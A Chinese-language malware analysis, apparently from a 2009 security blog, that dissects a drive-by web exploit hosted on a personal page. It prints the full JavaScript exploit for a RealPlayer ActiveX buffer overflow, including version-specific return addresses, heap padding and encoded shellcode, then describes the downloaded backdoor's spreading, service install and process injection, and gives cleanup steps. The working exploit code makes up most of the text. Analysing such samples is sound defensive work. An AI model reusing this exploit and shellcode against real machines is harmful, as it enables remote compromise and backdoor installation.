Blast's Security Lab
21 Aug 2009
目标: 网马
版本: -
来源: hxxp://weiwei520.vip.sina.com
工具: Redoce 2.034
语言: JavaScript
SAC#09005
www.sacour.cn 转载保留此行
其实只是一般的小网马,开始看他sina.com还以为sina.com给挂上,没想他其实就是一个个人主页……看看主页代码吧
(防止杀软误报或误执行,以下代码均转为全角字符)
<sCrIpT lAnGuAgE="jAvAsCrIpT">
得,大小写还错落有致
function RealExploit() //函数
{
var user = navigator.userAgent.toLowerCase(); //把UserAgent转为小写
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
//如果UA没有msie 6或者msie 7就byebye
return;
if(user.indexOf("nt 5.")==-1)
//当然如果没有nt 5.也bye了
return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
//还真直白,直接告诉你带Vulnerability的对象是IERPCTL. IERPCTL. 1
try
{
Real = new ActiveXObject(VulObject);
//那就试试建立一个新的对象吧
}catch(error)
{
return;
//建立对象还出错那肯定是退出的了
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
//先请求一下Real的版本
Padding = "";
//新建一个变量
JmpOver = unescape("%75%06%74%04");
//又是一个变量
for(i=0;i<32*148;i++)
Padding += "S";
//两个花括号都舍不得打,连上32*148个S(大概是要长到盖掉eip指针为止,是的话应该是在0x53535353("SSSS")处执行了……)
if(RealVersion.indexOf("6.0.14.") == -1)
//如果版本号不是6.0.14.x
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
ret = unescape("%7f%a5%60");
else if(navigator.userLanguage.toLowerCase() == "en-us")
ret = unescape("%4f%71%a4%60");
//获取用户界面语言信息,赋予相应的值
else
return;
//不是中文或英文也退出
}
else if(RealVersion == "6.0.14.544")
ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
ret = unescape("%51%11%70%63");
//如果是指定版本,就连上相应的值
else
return;
//都不是就只能退出了
if(RealVersion.indexOf("6.0.10.") != -1)
//如果是6.0.10.x的话
{
for(i=0;i<4;i++)
Padding = Padding + JmpOver;
//Padding连上四次75067404
Padding = Padding + ret;
//再连个返回值
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
AdjESP = "LLLL\\XXXXXLD";
Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWPesYRWQu3Y7EWB6PTnpvsYpp4nrSqy0nQqFNPcRORMto1sasvNPeD8QuOp30";
PayLoad = Padding + AdjESP + Shell; //组装Shellcode
while(PayLoad.length < 0x8000)
PayLoad += "ChuiZi"; //补长度到0x8000以上
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0); //加载漏洞
}
RealExploit();
最后呢,要下载的其实也就是hxxp://weiwei520.vip.sina.com/cc.exe(上面的有骗篇幅嫌疑了 囧)
那我们再继续吧……下面的算附赠数据了……
文件: cc.exe
语言: Borland Delphi 7.0
类型: TR/Backdoor;
MD5 : 3195773F55256CCD8046040976FD6AD2
加壳: Packed/UPX
大小: 303,104 字节
时间: 2009-8-21 19:37:03
GetSystemDirectoryA,成功后获取第一个字符,不成功则移入43('C')到eax,并IsCharAlphaA检查是不是有效字符。然后FindFirstFileA查找"C:\WINDOWS\system32\drivers/klif.sys",这个是卡巴斯基的驱动文件。如果找到则进行【操作A】。找不到就继续,再次使用FindFirstFileA查找 "C:\Program Files\rejoice101.exe",找到的话就【操作A】,找不到就继续。然后程序用CopyFileA复制自己C:\Program Files\rejoice101.exe,设置文件属性为Hidden|System(隐藏、系统),然后遍历磁盘,并GetDriveTypeA,如果不是3(sub eax,3 ; jnz ..)(3:本地磁盘)就继续,否则写入autorun.inf,当然,写入前他还会检查是否存在,存在执行【操作A】。同时复制自己到x:\rejoice101.exe,使得可以通过自动播放来执行自己。
随后,打开一个服务"Windows_rejoice2007_101",使用DeleteService,防止已经添加,Sleep 1000ms,之后CreateService建立这个服务,指向自己。最后WinExec打开自己,方式为SHOWNORMAL,反正他也没窗体就是……启动后的程序试图启动calc.exe并注入它。失败后则试图注入iexplore.exe,成功则连接远程主机,使得本机成为肉鸡。
【操作A】:获取其修改时间,设置文件属性(SetFileAttributesA)为普通存档(0),并试图使用DeleteFileA删除文件,再次使用FindFirstFileA查找之前发现的文件,成功的话,返回后的je会成功执行,否则还会进入这个操作。
清理:
1, 结束进程calc.exe,iexplore.exe,rejoice101.exe
2, 删除文中提到的文件、服务项
3, 重启
4, 删除对应文件
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。